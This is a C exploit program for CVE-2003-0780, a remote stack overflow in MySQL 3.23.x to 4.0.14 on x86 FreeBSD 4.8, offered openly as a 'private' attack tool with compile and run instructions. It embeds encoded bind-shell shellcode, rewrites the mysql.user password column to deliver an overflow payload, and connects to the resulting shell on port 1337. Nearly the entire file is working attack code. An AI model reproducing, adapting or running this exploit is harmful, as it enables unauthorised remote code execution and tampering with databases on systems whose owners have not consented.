/*
 * Private Exploit !!! 
 * cve-2003-0780 - mysql 3.23.x - 4.0.14 remote stack overflow exploit for x86 freebsd
 * The original private exploit code was written in 2003 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * Compile this exploit in openbsd or freebsd or linux distro from 2002-2004 !!!
 *
 * compile from linux (2002-2004 distro): 
 * gcc -o exploit exploit.c -I/usr/local/mysql/include -L/usr/local/mysql/lib/mysql -lmysqlclient
 *
 * compile from freebsd or openbsd (2002-2004) :
 * gcc -o exploit exploit.c -I/usr/local/mysql/include -L/usr/local/mysql/lib/mysql -lmysqlclient -lm
 *
 * run : ./exploit <host> <user> <pass>
 * e.g : 
 * ./exploit 192.168.0.1 root test123
 * ./exploit 192.168.1.1 root test123
 *
 * supported target :
 * freebsd 4.8
 * (c) solhack 2002-now - all rights reserved
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netdb.h>
#include <netinet/in.h>
#include <mysql/mysql.h>
#define PAD 744
#define BUF 2048
MYSQL *conn;
/*
107 bytes private xor bind shell 1337 shellcode for x86 freebsd
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char code[] =
"\xeb\x11\x5e\x31\xc9\xb1\x53\x80\x36\x03\x46\xe2\xfa\x83\xee"
"\x53\xff\xe6\x90\xe8\xea\xff\xff\xff\x32\xc3\x9a\x53\x43\x53"
"\x43\x53\x53\xb3\x62\xce\x83\x8a\xc5\x51\x6b\x02\x01\x06\x3a"
"\x8a\xe2\x69\x13\x52\x55\x51\xb3\x6b\xce\x83\x51\x55\x51\xb3"
"\x69\xce\x83\x51\x51\x55\x51\xb3\x1d\xce\x83\x8a\xc4\x69\x01"
"\x5a\x52\x54\x51\xb3\x59\xce\x83\x4a\x7a\xf5\x51\x6b\x2c\x2c"
"\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x51\x51\x50\x51\xb3\x38"
"\xce\x83\x90";  

void banner() {
    printf(
    "\n=====================================================\n"
    "    cve-2003-0780 - private rce exploit for x86 freebsd\n"
    "    mysql 3.23.x - 4.0.14 remote stack overflow exploit\n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    2003 and was patched in 2026.                      \n"
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    Supported target : x86 freebsd 4.8                 \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  =====================================================\n\n");
}

void usage() {
    printf("./exploit <host> <user> <pass>\n");
    exit(1);
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

void die(char *msg) {
    fprintf(stderr, "[-] %s: %s\n", msg, mysql_error(conn));
    mysql_close(conn);
    exit(1);
}

int main(int argc, char **argv) {
    char buffer[BUF], buf2[1200], muser[20];
    struct sockaddr_in peer;
    int i, j, clifd, n;
    fd_set fds;
    unsigned int eip;
    MYSQL_RES *res;
    MYSQL_ROW row;

    banner();
    if (argc < 4) {
        usage();
        return 1;
    }
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, argv[1], argv[2], argv[3], "mysql", 3306, NULL, 0)) {
        printf("[-] connect failed: %s\n", mysql_error(conn));
        return 1;
    }
    printf("[+] connected to %s as %s\n", argv[1], argv[2]);
    if (mysql_real_query(conn, "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT", strlen("ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT")))
        die("alter");
    printf("[+] altered password column\n");
    if (mysql_real_query(conn, "SELECT user FROM mysql.user LIMIT 1",
        strlen("SELECT user FROM mysql.user LIMIT 1")))
        die("select");
    res = mysql_store_result(conn);
    row = mysql_fetch_row(res);
    snprintf(muser, sizeof(muser), "%s", row[0]);
    mysql_free_result(res);
    printf("[+] target user: %s\n", muser);
    eip = 0xbfaeda10;
    memset(buf2, 0, sizeof(buf2));
    for (i = 0; i < PAD; i += 8)
        sprintf(buf2 + i, "%08x", eip);
    sprintf(buf2 + PAD, "%08x", eip);
    for (i = 0; i < 64; i += 2)
        memcpy(buf2 + PAD + 8 + i, "90", 2);
    for (i = 0; i < sizeof(code)-1; i += 4)
        sprintf(buf2 + PAD + 8 + 64 + i*2, "%02x%02x%02x%02x", code[i+3], code[i+2], code[i+1], code[i]);
    j = PAD + 8 + 64 + (sizeof(code)-1)*2;
    while (j < PAD + 8 + 320) { 
        memcpy(buf2 + j, "90", 2); 
        j += 2; 
    }
    j = strlen(buf2);
    if (j % 8) { 
        n = (j/8+1)*8 - j; 
        memset(buf2+j, '0', n); 
    }
    printf("[+] password updated\n");
    i = sprintf(buffer, "update user set password='");
    memcpy(buffer+i, buf2, strlen(buf2));
    i += strlen(buf2);
    i += sprintf(buffer+i, "' where user='%s'", muser);
    if (mysql_real_query(conn, buffer, i))
        die("update");
    /* find socket fd */
    j = sizeof(peer);
    for (clifd = 3; clifd < 256; clifd++) {
        if (getpeername(clifd, (struct sockaddr *)&peer, &j) == -1) 
            continue;
        if (peer.sin_port == htons(3306)) 
            break;
    }
    if (clifd == 256) { 
        printf("[-] socket not found\n"); 
        return 1; 
    }
    printf("[+] socket fd: %d\n", clifd);
    send(clifd, "\x11\x00\x00\x00\x03" "flush privileges", 21, 0);
    printf("[+] flush sent\n");
    send(clifd, "I", 1, MSG_OOB);
    puts("[!] sleeping for 2 seconds ... please wait ...");
    sleep(2);
    shell(argv[1], 1337);

    return 0;
}
